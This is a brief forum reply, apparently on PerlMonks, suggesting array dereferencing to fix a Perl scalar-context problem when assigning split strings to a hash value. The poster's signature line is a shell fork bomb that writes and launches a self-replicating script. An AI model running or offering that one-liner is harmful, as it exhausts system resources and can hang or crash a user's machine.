in reply to Assigning an array of strings to a hash value in an array of hashes

I think it is because $files[$i]{hashkey} has scalar context.

Try @{ $files[$i]{hashkey} }=split(/,/,$ARGV[0]) ?

Cheers,
ibanix

$ echo '$0 & $0 &' > foo; chmod a+x foo; foo;